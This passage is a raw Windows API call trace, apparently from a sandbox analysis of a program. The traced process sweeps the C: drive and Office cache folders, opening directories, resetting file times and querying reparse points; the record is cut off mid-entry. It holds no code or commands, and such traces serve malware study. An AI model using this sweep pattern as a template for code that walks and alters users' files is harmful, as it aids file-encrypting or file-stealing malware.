ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x800150, cFileName="Config.Msi", cAlternateFileName="")) returned 1 [0139.446] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f258 [0139.446] GetFileAttributesExW (in: lpFileName="C:\\Config.Msi" (normalized: "c:\\config.msi"), fInfoLevelId=0x0, lpFileInformation=0x1a7f8b8 | out: lpFileInformation=0x1a7f8b8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0139.446] CreateFileW (lpFileName="C:\\Config.Msi" (normalized: "c:\\config.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0139.446] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x1a7f8fc, lpLastWriteTime=0x1a7f8fc) returned 0 [0139.446] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4000) returned 0x989690 [0139.446] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x989690, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f954, lpOverlapped=0x0 | out: lpOutBuffer=0x989690, lpBytesReturned=0x1a7f954, lpOverlapped=0x0) returned 0 [0139.446] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x989690) returned 1 [0139.446] NtClose (Handle=0x190) returned 0x0 [0139.446] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f258) returned 1 [0139.446] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f258 [0139.447] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ef28 [0139.447] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0139.447] FindFirstFileExW (in: lpFileName="C:\\Config.Msi\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f704, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f704) returned 0x81fcd8 [0139.447] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.447] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0139.447] GetLastError () returned 0x12 [0139.447] FindFirstFileExW (in: lpFileName="C:\\Config.Msi\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f704, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f704) returned 0x839020 [0139.447] FindClose (in: hFindFile=0x81fcd8 | out: hFindFile=0x81fcd8) returned 1 [0139.447] FindNextFileW (in: hFindFile=0x839020, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.447] FindNextFileW (in: hFindFile=0x839020, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0139.447] GetLastError () returned 0x12 [0139.447] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0139.447] FindClose (in: hFindFile=0x839020 | out: hFindFile=0x839020) returned 1 [0139.447] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ef28) returned 1 [0139.447] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f258) returned 1 [0139.447] FindNextFileW (in: hFindFile=0x838fe0, lpFindFileData=0x1a7f9bc | out: lpFindFileData=0x1a7f9bc*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x800150, cFileName="Documents and Settings", cAlternateFileName="")) returned 1 [0139.447] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f258 [0139.447] GetFileAttributesExW (in: lpFileName="C:\\Documents and Settings" (normalized: "c:\\documents and settings"), fInfoLevelId=0x0, lpFileInformation=0x1a7f8b8 | out: lpFileInformation=0x1a7f8b8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0139.448] CreateFileW (lpFileName="C:\\Documents and Settings" (normalized: "c:\\documents and settings"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffff [0139.448] GetLastError () returned 0x5 [0139.448] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f258) returned 1 [0139.448] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f258 [0139.448] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ef28 [0139.448] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0139.448] FindFirstFileExW (in: lpFileName="C:\\Documents and Settings\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f704, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f704) returned 0xffffffff [0139.448] GetLastError () returned 0x5 [0139.448] FindFirstFileExW (in: lpFileName="C:\\Documents and Settings\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f704, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f704) returned 0xffffffff [0139.448] GetLastError () returned 0x5 [0139.448] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0139.448] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ef28) returned 1 [0139.448] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f258) returned 1 [0139.448] FindNextFileW (in: hFindFile=0x838fe0, lpFindFileData=0x1a7f9bc | out: lpFindFileData=0x1a7f9bc*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x56257dc0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x56257dc0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x6645aea0, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0xa0000003, dwReserved1=0x800150, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0139.448] FindNextFileW (in: hFindFile=0x838fe0, lpFindFileData=0x1a7f9bc | out: lpFindFileData=0x1a7f9bc*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x800150, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0139.448] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f258 [0139.448] GetFileAttributesExW (in: lpFileName="C:\\MSOCache" (normalized: "c:\\msocache"), fInfoLevelId=0x0, lpFileInformation=0x1a7f8b8 | out: lpFileInformation=0x1a7f8b8*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0139.449] CreateFileW (lpFileName="C:\\MSOCache" (normalized: "c:\\msocache"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x194 [0139.449] SetFileTime (hFile=0x194, lpCreationTime=0x0, lpLastAccessTime=0x1a7f8fc, lpLastWriteTime=0x1a7f8fc) returned 0 [0139.449] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4000) returned 0x989690 [0139.449] DeviceIoControl (in: hDevice=0x194, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x989690, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f954, lpOverlapped=0x0 | out: lpOutBuffer=0x989690, lpBytesReturned=0x1a7f954, lpOverlapped=0x0) returned 0 [0139.449] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x989690) returned 1 [0139.449] NtClose (Handle=0x194) returned 0x0 [0139.449] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f258) returned 1 [0139.449] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f258 [0139.449] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ef28 [0139.449] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0139.449] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f704, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f704) returned 0x81fcd8 [0139.449] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.450] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="")) returned 1 [0139.450] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="")) returned 0 [0139.450] GetLastError () returned 0x12 [0139.450] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f704, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f704) returned 0x839020 [0139.450] FindClose (in: hFindFile=0x81fcd8 | out: hFindFile=0x81fcd8) returned 1 [0139.450] FindNextFileW (in: hFindFile=0x839020, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.450] FindNextFileW (in: hFindFile=0x839020, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="")) returned 1 [0139.450] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ee18 [0139.450] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users" (normalized: "c:\\msocache\\all users"), fInfoLevelId=0x0, lpFileInformation=0x1a7f600 | out: lpFileInformation=0x1a7f600*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0139.485] CreateFileW (lpFileName="C:\\MSOCache\\All Users" (normalized: "c:\\msocache\\all users"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x194 [0139.485] SetFileTime (hFile=0x194, lpCreationTime=0x0, lpLastAccessTime=0x1a7f644, lpLastWriteTime=0x1a7f644) returned 0 [0139.485] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4000) returned 0x989690 [0139.486] DeviceIoControl (in: hDevice=0x194, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x989690, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f69c, lpOverlapped=0x0 | out: lpOutBuffer=0x989690, lpBytesReturned=0x1a7f69c, lpOverlapped=0x0) returned 0 [0139.486] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x989690) returned 1 [0139.486] NtClose (Handle=0x194) returned 0x0 [0139.486] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ee18) returned 1 [0139.486] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ee18 [0139.486] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eae8 [0139.486] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ea60 [0139.486] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f44c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f44c) returned 0x81fcd8 [0139.585] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.622] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x38dad210, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x38dad210, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0016-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0139.622] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x3c0b49b0, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x3c0b49b0, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0018-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0139.622] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x3cdf2410, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x3cdf2410, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0019-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0139.622] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x3e03ed30, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x3e03ed30, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-001A-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0139.622] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x40713410, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x40713410, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-001B-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0139.622] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x40843f10, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x40843f10, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-002C-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0139.622] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x43e914f0, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x43e914f0, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0043-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0139.622] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x45dcf5b0, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x45dcf5b0, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0044-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0139.622] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x488baa90, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x488baa90, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0054-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0139.622] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x4987fc50, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x4987fc50, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-00A1-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0139.622] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0x4a16ced0, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x4a16ced0, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-00B4-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0139.622] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee803530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-00BA-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0139.622] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8729610, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8729610, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0115-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0139.622] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc112b50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc112b50, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0117-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0139.622] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x18179b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18179b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91140000-0011-0000-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0139.622] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x2011, 